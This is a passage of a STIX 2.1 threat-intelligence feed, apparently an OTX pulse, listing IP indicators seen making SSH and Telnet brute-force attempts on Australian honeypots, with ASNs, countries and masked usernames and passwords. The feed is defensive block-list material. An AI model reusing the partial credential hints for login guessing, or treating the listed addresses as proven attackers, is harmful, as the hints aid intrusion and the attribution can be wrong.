      "valid_from": "2026-03-06T04:15:13.000Z",
      "valid_until": "2026-04-07T04:15:11.000Z"
    },
    {
      "created": "2026-03-06T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--96d3795c-fc4f-4e11-9350-105cd7975534",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:15:13.000Z",
      "valid_until": "2026-04-07T04:15:11.000Z"
    },
    {
      "created": "2026-03-06T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): n******y@bardengineering.com. Passwords observed (masked): b******************@.",
      "id": "indicator--3d794f41-59ee-43e5-b21b-398c6a81ac98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.247.41.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:15:13.000Z",
      "valid_until": "2026-04-07T04:15:11.000Z"
    },
    {
      "created": "2026-03-06T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--7ee49255-dd72-4d64-9ca0-81b255a99fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:15:13.000Z",
      "valid_until": "2026-04-07T04:15:11.000Z"
    },
    {
      "created": "2026-03-06T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: EG. ASN(s): 24835. Organisation(s): RAYA Telecom - Egypt.",
      "id": "indicator--ee84534e-99da-4207-83cf-7476475cbf45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.129.230.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:15:13.000Z",
      "valid_until": "2026-04-07T04:15:11.000Z"
    },
    {
      "created": "2026-03-06T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--98fecba9-2469-439f-98ca-dd804f89269d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:15:13.000Z",
      "valid_until": "2026-04-07T04:15:11.000Z"
    },
    {
      "created": "2026-03-06T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, p******a, z*****d, a****s, b****x. Passwords observed (masked): 3***********4, 3**********4, ***, 1******8, B*******3.",
      "id": "indicator--a049be0d-b73d-4e7f-9182-1d3148b88a8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.121.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:15:13.000Z",
      "valid_until": "2026-04-07T05:15:12.000Z"
    },
    {
      "created": "2026-03-06T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--91f296e8-b62f-47bf-ac6f-1cfcb8d76b12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:15:13.000Z",
      "valid_until": "2026-04-07T05:15:12.000Z"
    },
    {
      "created": "2026-03-06T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45903. Organisation(s): CMC Telecom Infrastructure Company. Usernames observed (masked): 3**********4, e***********h, n***x, **, a****s. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, B*****3.",
      "id": "indicator--d6af9c81-43be-4299-a653-0aeb7f5afb44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.96.43.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:15:13.000Z",
      "valid_until": "2026-04-07T05:15:12.000Z"
    },
    {
      "created": "2026-03-06T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd. Usernames observed (masked): z*****d, 3**********4, a****s, b****x, m****h. Passwords observed (masked): ***, 1******8, 3***********4, 3**********4, B*******3.",
      "id": "indicator--fccd9372-5a86-44ed-b37e-0b02faab97a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.121.147.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:15:13.000Z",
      "valid_until": "2026-04-07T05:15:12.000Z"
    },
    {
      "created": "2026-03-06T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--703a5ba5-b1d1-4cd4-b7fd-e47df7edd98f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.224.242.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:15:13.000Z",
      "valid_until": "2026-04-07T05:15:12.000Z"
    },
    {
      "created": "2026-03-06T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): @***********h.",
      "id": "indicator--67ab949f-c7ec-4d36-8cc2-0220ef71f0d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:15:13.000Z",
      "valid_until": "2026-04-07T05:15:12.000Z"
    },
    {
      "created": "2026-03-06T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e0b6ded1-0e1b-400c-b79c-0831c7f78870",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.100.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T06:15:07.000Z",
      "valid_until": "2026-04-07T06:15:05.000Z"
    },
    {
      "created": "2026-03-06T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): r**t. Passwords observed (masked): a***********h.",
      "id": "indicator--3b7f3504-157d-4416-b16b-8447fd8d2b0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.240.169.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T06:15:07.000Z",
      "valid_until": "2026-04-07T06:15:05.000Z"
    },
    {
      "created": "2026-03-06T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 63. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): U****************************1, G************************************1, G**************************************************1, G**********************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--f9742cfa-efc3-43e4-95e6-29f908a230cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.145.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T06:15:07.000Z",
      "valid_until": "2026-04-07T06:15:05.000Z"
    },
    {
      "created": "2026-03-06T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2a17c3f6-b632-45ec-afc8-8526cb5111ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.128.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T06:15:07.000Z",
      "valid_until": "2026-04-07T06:15:05.000Z"
    },
    {
      "created": "2026-03-06T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--24810390-8e74-4d58-bf2c-8ece272b17fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.226.198.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T06:15:07.000Z",
      "valid_until": "2026-04-07T06:15:05.000Z"
    },
    {
      "created": "2026-03-06T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 10620. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): f***e, s*******e. Passwords observed (masked): 1**4, f***e.",
      "id": "indicator--a041affa-bc6e-40ca-b617-02f97bc81b55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.147.181.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T06:15:07.000Z",
      "valid_until": "2026-04-07T06:15:05.000Z"
    },
    {
      "created": "2026-03-06T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--67d0aa88-60d6-4c6d-a920-b3986a961169",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.92.28.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T06:15:07.000Z",
      "valid_until": "2026-04-07T06:15:05.000Z"
    },
    {
      "created": "2026-03-06T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--387d7910-85b4-4be0-a2a0-c3ab52e49bd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.192.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T06:15:07.000Z",
      "valid_until": "2026-04-07T06:15:05.000Z"
    },
    {
      "created": "2026-03-06T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): w******n. Passwords observed (masked): p******d, w**********4.",
      "id": "indicator--6478620e-04d8-40c4-bcdc-a5a02e3cd2d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '57.128.218.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T06:15:07.000Z",
      "valid_until": "2026-04-07T06:15:05.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited. Usernames observed (masked): r**t, 3**********4, a**y, a*******r, b***n. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, @*******5.",
      "id": "indicator--f8f6a93b-8bc0-496d-b01a-478fc9d5bf5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.71.136.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): **. Passwords observed (masked): 1**4.",
      "id": "indicator--3534a678-17d8-449b-b420-435a32a73ab5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.29.203.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, a**y, a*******r, **. Passwords observed (masked): 1**4, 3***********4, 3**********4, @*******5, A*********6.",
      "id": "indicator--cc82e740-745d-4ec1-bb4e-6dbcd37aceae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.199.175.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262324. Organisation(s): ALLREDE TELECOM LTDA. Usernames observed (masked): 3**********4, u****u, y***n, d*****n, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, @*******5.",
      "id": "indicator--b390a268-8f17-4f81-b25d-ab47aaaca5c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.202.131.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): 3**********4, c****i, f********r, r**t, a**x. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, ***.",
      "id": "indicator--9e09d6e5-f4f6-433e-a616-2d1489963c16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.91.170.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 27951. Organisation(s): Media Commerce Partners S.A. Usernames observed (masked): r**t, 3**********4, a***l, a******r, d**o. Passwords observed (masked): ***, 3***********4, 3**********4, @*******5, A******3.",
      "id": "indicator--85f87c7e-b502-451b-bb6a-cde8f061e694",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.254.229.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, k***n, 3**********4, d***n, ***. Passwords observed (masked): 1******8, 3***********4, 3**********4, @*******5, A*******..",
      "id": "indicator--9a596003-fcd2-46a4-8e52-608bd3fadfeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.173.117.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--15d05585-a95f-4d3a-a71b-aef1013ec9a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.202.117.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V.. Usernames observed (masked): 3**********4, c****i, f********r, r**t, a**x. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, ***.",
      "id": "indicator--0606b29a-6c69-49f4-83dd-a39ee9f8b984",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.229.197.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: CH. ASN(s): 51852. Organisation(s): Private Layer INC.",
      "id": "indicator--08620171-a554-4338-b8a4-8d393d441a83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.43.177.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--6de07e19-df27-4e23-ac83-3a6b8e5c94ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.147.121.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 8767. Organisation(s): M-net Telekommunikations GmbH.",
      "id": "indicator--49e6a51c-71d8-4998-88e0-a509512f2675",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.174.185.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): 3**********4, u****u, y***n, d*****n, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, @*******5.",
      "id": "indicator--d4e5a6b0-9cdf-45e4-b2f2-63625f3bfb9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.4.3.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
      "created": "2026-03-06T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, **, 3**********4, a**y, b***n. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, @*******5.",
      "id": "indicator--c48b0196-19ce-4bcc-a5bb-355a089ceda6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.253.37.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T07:15:14.000Z",
      "valid_until": "2026-04-07T07:15:11.000Z"
    },
    {
